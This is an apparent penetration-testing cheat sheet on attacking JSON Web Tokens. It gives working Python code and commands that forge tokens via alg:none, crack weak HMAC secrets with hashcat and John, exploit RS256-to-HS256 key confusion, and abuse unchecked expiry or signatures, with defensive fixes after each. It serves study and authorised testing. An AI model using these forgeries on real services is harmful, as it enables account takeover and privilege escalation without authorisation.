JWT
JWTs are stateless authentication tokens carrying claims (user, role, expiry) signed by the server. The signature is supposed to prevent tampering - when the signature check is weak or skipped, tampering becomes account-takeover.
# Recognize a JWT - three base64 segments separated by dotseyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaHRiIiwicm9sZSI6InVzZXIifQ.signature
# Attack 1 - alg:none (server accepts unsigned tokens)Change header alg to "none", strip signature{"alg":"HS256"} → {"alg":"none"}
# Attack 2 - weak HMAC key (brute-force the secret)hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Attack 3 - algorithm confusion (RS256 → HS256, use public key as HMAC secret)# Many JWT libraries accept any signature when the algorithm is changed
# Attack 4 - expired but accepted (server doesn't check exp claim)Set exp far in the future or remove it entirelySuccess indicator: server accepts a JWT you constructed with claims you chose - typically a different user or elevated role.
JWT structure
Section titled “JWT structure”header.payload.signatureEach segment is base64url-encoded JSON. Header declares the algorithm, payload contains the claims, signature is computed over the first two segments.
Example decoded
Section titled “Example decoded”Header {"alg":"HS256","typ":"JWT"}Payload {"sub":"htbuser","role":"user","iat":1647135274,"exp":1647138874}Standard payload claims:
sub Subject (user identifier)iat Issued at (Unix timestamp)exp Expires at (Unix timestamp)nbf Not valid before (Unix timestamp)iss Issueraud Audiencejti JWT ID (unique identifier for revocation)Application-specific claims (role, permissions, email, etc.) are added freely. The cleanly-separated payload is exactly what makes JWT attractive for tampering attempts.
Decoding a JWT
Section titled “Decoding a JWT”# Just split on dots and base64url-decode the partsTOKEN="eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaHRiIiwicm9sZSI6InVzZXIifQ.signature"echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/nullecho "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/nullBase64URL is a variant of base64 with - and _ instead of + and /, and no padding. The base64 -d may complain about padding - append = characters to make the length a multiple of 4.
Easier: paste the token at jwt.io for a parsed view (privacy aside - never paste production tokens to third-party services).
Attack 1 - alg:none
Section titled “Attack 1 - alg:none”The original JWT vulnerability. Set the alg header to none and drop the signature; some libraries accept this as a valid unsigned token.
# Originalheader {"alg":"HS256"}payload {"user":"htb","role":"user"}signature XYZ
# Attackheader {"alg":"none"}payload {"user":"htb","role":"admin"}signature (empty)Full constructed token:
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiaHRiIiwicm9sZSI6ImFkbWluIn0.Note the trailing dot - the signature section is empty but the dot remains.
Variations to try
Section titled “Variations to try”"alg": "none""alg": "None""alg": "NONE""alg": "nOnE""alg": ""Case sensitivity is library-specific - some libraries normalize, some don’t. Try all variants.
Detection / exploitation
Section titled “Detection / exploitation”import base64import json
# Decode the original tokenparts = token.split('.')header = json.loads(base64.urlsafe_b64decode(parts[0] + '==').decode())payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==').decode())
# Modifyheader['alg'] = 'none'payload['role'] = 'admin'
# Re-encodedef b64url(d): return base64.urlsafe_b64encode(json.dumps(d, separators=(',',':')).encode()).decode().rstrip('=')
forged = f"{b64url(header)}.{b64url(payload)}."print(forged)Defending against this
Section titled “Defending against this”Most modern JWT libraries reject alg:none by default. The bug appears in:
- Older library versions (pre-2015 - the original disclosure period)
- Custom implementations
- Multi-language stacks where a token signed by Library A is verified by Library B
Attack 2 - Weak HMAC key
Section titled “Attack 2 - Weak HMAC key”When alg is HS256 (or HS384, HS512), the signature is an HMAC over the header+payload using a secret key. If the secret is weak (short, dictionary word, predictable), brute-force the secret offline:
# hashcat mode 16500 = JWT HMAChashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# john the ripperjohn jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256jwt.txt should contain just the full JWT. Hashcat extracts the parts and tests each wordlist entry as the HMAC secret.
Common weak secrets
Section titled “Common weak secrets”secretsecret123jwt-secretyour-256-bit-secretchangemepassword<companyname><companyname>123If hashcat reveals the secret, you can forge arbitrary tokens. Test the secret:
import jwt
SECRET = "found-secret"payload = {"sub": "admin", "role": "admin", "exp": 9999999999}forged = jwt.encode(payload, SECRET, algorithm='HS256')print(forged)Defending against this
Section titled “Defending against this”Use cryptographic-strength random keys (256+ bits of entropy). Never use dictionary words. Rotate keys when they leak.
Attack 3 - Algorithm confusion (RS256 → HS256)
Section titled “Attack 3 - Algorithm confusion (RS256 → HS256)”Subtle and devastating. When the server’s verification code looks like:
# Vulnerableverify(token, public_key)…and the JWT library picks the verification algorithm from the token’s header, an attacker can:
- Take the server’s public key (RSA public keys are public by design - often on a
.well-known/jwks.jsonendpoint) - Change the token’s
algfromRS256toHS256 - Sign the token with HMAC using the public key as the HMAC secret
- Server reads
alg:HS256, verifies the HMAC using the (public) key, validates the token
The bug is that the server’s “public key” is now being used as an HMAC secret - which the attacker also has. The attacker can forge any token.
Exploitation
Section titled “Exploitation”import jwt
# Read the server's public key (often at /.well-known/jwks.json or .pem)with open('server-public.pem') as f: public_key = f.read()
# Forge token signed with HMAC using the public key as the secretpayload = {"sub": "admin", "role": "admin"}forged = jwt.encode(payload, public_key, algorithm='HS256')print(forged)Note: public_key here is the literal text of the PEM file. The exact byte sequence matters - extra whitespace or line endings can change the HMAC and break the forgery.
Defending against this
Section titled “Defending against this”The server should enforce a specific algorithm rather than reading it from the token:
# Correctjwt.decode(token, public_key, algorithms=['RS256'])algorithms=['RS256'] rejects HS256 tokens outright, defeating the confusion.
Attack 4 - Expiry not checked
Section titled “Attack 4 - Expiry not checked”Some applications validate the signature but don’t check exp (expiry) or nbf (not-before). Tokens are accepted long after they should have expired - useful when you’ve captured an old token (cached in logs, leaked in Git history, etc.).
Testing
Section titled “Testing”Capture a valid token. Note its exp claim. Wait until past exp. Resubmit:
curl -H "Authorization: Bearer $OLD_TOKEN" https://<TARGET>/api/me- 401 Unauthorized → expiry is enforced
- 200 OK with valid response → expiry is not enforced (bug)
Tampering exp
Section titled “Tampering exp”If signature is unforgeable but expiry is unchecked:
# Decode payload, set exp far in the futureimport timepayload['exp'] = int(time.time()) + 365*86400 # 1 year from now# Re-encode without changing signature - the server won't noticeThis only works when the server checks the signature but not the expiry separately - a strange but documented failure mode.
Attack 5 - Claim tampering with no signature check
Section titled “Attack 5 - Claim tampering with no signature check”The simplest case: server doesn’t verify the signature at all (developer mistake, debug mode left on). Modify any claim, leave the signature unchanged (or empty):
payload['role'] = 'admin'# Resubmit with original signature → still worksDetection:
# Submit a token with a deliberately-wrong signaturecurl -H "Authorization: Bearer ${HEADER}.${PAYLOAD}.WRONGSIGNATURE" https://<TARGET>/api/me
# If response is 200 with expected data → signature isn't being checked at allA surprisingly common pattern - applications that “use JWT for sessions” sometimes treat them as opaque blobs and trust the contents.
Tooling
Section titled “Tooling”For systematic testing:
# jwt_tool - comprehensive JWT testing# https://github.com/ticarpi/jwt_toolpython3 jwt_tool.py $TOKEN -M pb # playbook mode - tries common attackspython3 jwt_tool.py $TOKEN -X a # alg:none variantspython3 jwt_tool.py $TOKEN -X k -pk pubkey.pem # key confusion attackpython3 jwt_tool.py $TOKEN -C -d rockyou.txt # crack weak HMAC
# Burp Suite - JWT Editor extension (BApp Store)# Provides UI for header/payload editing and signature operationsDetection-only checks
Section titled “Detection-only checks”# Identify whether the application uses JWTs at all# Check Authorization headers, cookies, response bodies
# In a captured requestcurl -s -H "Authorization: Bearer $TOKEN" https://<TARGET>/api/me
# Look for three-segment dot-separated structures# That's the surest "this is a JWT" signal
# Check the algorithm and confirm strengthecho "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null# Look for: "alg":"HS256" / "RS256" / "ES256" / "none"- JWT is convenient and frequently misused. The “stateless session” argument is real but most applications don’t actually need that property - and the tradeoffs (no easy revocation, larger cookies, complex algorithm handling) often outweigh the benefit.
- Algorithm confusion is library-version-dependent. PyJWT and node-jsonwebtoken both had this bug in older versions. Most patched versions (post-2017) require explicit algorithm specification. The bug is mostly historical at this point but appears occasionally in legacy systems.
kidheader injection. A separate attack: thekid(key ID) header tells the server which key to use for verification. If the server reads this from a database or file system based on the attacker-supplied value, SQL injection / path traversal in thekidis possible. Out of scope for this overview - see jwt_tool’s-Xmodes.- Refresh tokens are usually JWTs too. When testing JWT auth, look for both access tokens (short-lived, sent on every request) and refresh tokens (long-lived, used to get new access tokens). Refresh tokens are higher-value targets because of the longer lifetime.
This page is a starter - JWT has enough attack surface for several dedicated pages (key confusion in depth, JWS vs JWE, ECDSA signature malleability, JWK injection). Those exist as planned expansions; for now, the attacks above cover the operationally common cases.